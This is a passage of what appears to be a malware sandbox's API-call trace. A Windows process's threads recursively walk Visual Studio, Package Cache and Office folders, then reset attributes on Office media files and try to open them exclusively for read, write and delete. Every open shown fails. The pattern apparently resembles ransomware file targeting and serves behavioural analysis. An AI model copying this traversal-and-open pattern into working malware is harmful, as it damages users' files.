BaseAddress=0x8f75f8) returned 1 Thread: id = 2745 os_tid = 0x1784 [0148.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f70a8 [0148.238] wcscpy (in: _Dest=0x8f70a8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0148.238] wcscat (in: _Dest=0x8f70a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0148.238] wcscat (in: _Dest=0x8f70a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*" [0148.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9df8 [0148.239] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942bf0 [0148.239] wcscmp (_String1=".", _String2=".") returned 0 [0148.239] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.239] wcscmp (_String1="..", _String2=".") returned 1 [0148.239] wcscmp (_String1="..", _String2="..") returned 0 [0148.239] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="PRIVAT~1")) returned 1 [0148.239] wcscmp (_String1="PrivateAssemblies", _String2=".") returned 1 [0148.239] wcscmp (_String1="PrivateAssemblies", _String2="..") returned 1 [0148.239] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934330 [0148.239] wcscpy (in: _Dest=0x934330, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0148.239] wcscat (in: _Dest=0x934330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0148.239] wcscat (in: _Dest=0x934330, _Source="PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0150.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0150.911] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0150.911] wcscmp (_String1="PublicAssemblies", _String2=".") returned 1 [0150.911] wcscmp (_String1="PublicAssemblies", _String2="..") returned 1 [0150.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935050 [0150.911] wcscpy (in: _Dest=0x935050, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0150.912] wcscat (in: _Dest=0x935050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0150.912] wcscat (in: _Dest=0x935050, _Source="PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0150.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8 [0150.913] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0150.913] wcscmp (_String1="VSTA", _String2=".") returned 1 [0150.913] wcscmp (_String1="VSTA", _String2="..") returned 1 [0150.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6d88 [0150.913] wcscpy (in: _Dest=0x8e6d88, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0150.913] wcscat (in: _Dest=0x8e6d88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0150.913] wcscat (in: _Dest=0x8e6d88, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0150.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e6d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1afc [0150.915] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x9b9df8 | out: lpFindFileData=0x9b9df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0150.915] FindClose (in: hFindFile=0x942bf0 | out: hFindFile=0x942bf0) returned 1 [0150.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9df8) returned 1 [0150.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 [0150.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f71b8) returned 1 Thread: id = 2746 os_tid = 0x1788 [0148.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6b48 [0148.240] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0148.240] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0148.240] wcscat (in: _Dest=0x8e6b48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*" [0148.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bac68 [0148.240] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x9bac68 | out: lpFindFileData=0x9bac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942b30 [0148.240] wcscmp (_String1=".", _String2=".") returned 0 [0148.240] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9bac68 | out: lpFindFileData=0x9bac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.240] wcscmp (_String1="..", _String2=".") returned 1 [0148.240] wcscmp (_String1="..", _String2="..") returned 0 [0148.240] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9bac68 | out: lpFindFileData=0x9bac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0148.240] wcscmp (_String1="Debugger", _String2=".") returned 1 [0148.240] wcscmp (_String1="Debugger", _String2="..") returned 1 [0148.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x9ae608 [0148.240] wcscpy (in: _Dest=0x9ae608, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0148.240] wcscat (in: _Dest=0x9ae608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0148.240] wcscat (in: _Dest=0x9ae608, _Source="Debugger" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" [0154.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ae608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440 [0154.106] FindNextFileW (in: hFindFile=0x942b30, lpFindFileData=0x9bac68 | out: lpFindFileData=0x9bac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0154.106] FindClose (in: hFindFile=0x942b30 | out: hFindFile=0x942b30) returned 1 [0154.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bac68) returned 1 [0154.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6b48) returned 1 [0154.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 2747 os_tid = 0x178c [0148.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x940c50 [0148.241] wcscpy (in: _Dest=0x940c50, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0148.241] wcscat (in: _Dest=0x940c50, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0148.241] wcscat (in: _Dest=0x940c50, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" [0148.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b79e0 [0148.241] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942af0 [0148.241] wcscmp (_String1=".", _String2=".") returned 0 [0148.241] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.241] wcscmp (_String1="..", _String2=".") returned 1 [0148.241] wcscmp (_String1="..", _String2="..") returned 0 [0148.241] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0148.241] wcscmp (_String1="packages", _String2=".") returned 1 [0148.241] wcscmp (_String1="packages", _String2="..") returned 1 [0148.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9343d8 [0148.242] wcscpy (in: _Dest=0x9343d8, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0148.242] wcscat (in: _Dest=0x9343d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0148.242] wcscat (in: _Dest=0x9343d8, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0152.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9343d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec [0152.094] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0152.094] FindClose (in: hFindFile=0x942af0 | out: hFindFile=0x942af0) returned 1 [0152.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b79e0) returned 1 [0152.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940c50) returned 1 [0152.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fcde0) returned 1 Thread: id = 2853 os_tid = 0x1930 [0149.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0149.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x20) returned 0 [0149.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.005] GetLastError () returned 0x5 [0149.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x20) returned 0 [0149.005] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7240) returned 1 Thread: id = 2854 os_tid = 0x1934 [0149.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf")) returned 0x20 [0149.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF", dwFileAttributes=0x20) returned 0 [0149.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.007] GetLastError () returned 0x5 [0149.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF", dwFileAttributes=0x20) returned 0 [0149.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac7c0) returned 1 Thread: id = 2855 os_tid = 0x1938 [0149.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf")) returned 0x20 [0150.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF", dwFileAttributes=0x20) returned 0 [0150.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.160] GetLastError () returned 0x5 [0150.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF", dwFileAttributes=0x20) returned 0 [0150.160] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac0a0) returned 1 Thread: id = 2856 os_tid = 0x193c [0149.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf")) returned 0x20 [0150.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF", dwFileAttributes=0x20) returned 0 [0150.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.156] GetLastError () returned 0x5 [0150.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF", dwFileAttributes=0x20) returned 0 [0150.156] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac138) returned 1 Thread: id = 2857 os_tid = 0x1940 [0149.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf")) returned 0x20 [0150.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF", dwFileAttributes=0x20) returned 0 [0150.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.152] GetLastError () returned 0x5 [0150.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF", dwFileAttributes=0x20) returned 0 [0150.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac1d0) returned 1 Thread: id = 2858 os_tid = 0x1944 [0149.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf")) returned 0x20 [0150.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF", dwFileAttributes=0x20) returned 0 [0150.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.493] GetLastError () returned 0x5 [0150.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF", dwFileAttributes=0x20) returned 0 [0150.493] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac398) returned 1 Thread: id = 2859 os_tid = 0x1948 [0149.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf")) returned 0x20 [0150.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF", dwFileAttributes=0x20) returned 0 [0150.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.492] GetLastError () returned 0x5 [0150.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF", dwFileAttributes=0x20) returned 0 [0150.492] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aba18) returned 1 Thread: id = 2860 os_tid = 0x194c [0149.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf")) returned 0x20 [0150.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF", dwFileAttributes=0x20) returned 0 [0150.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 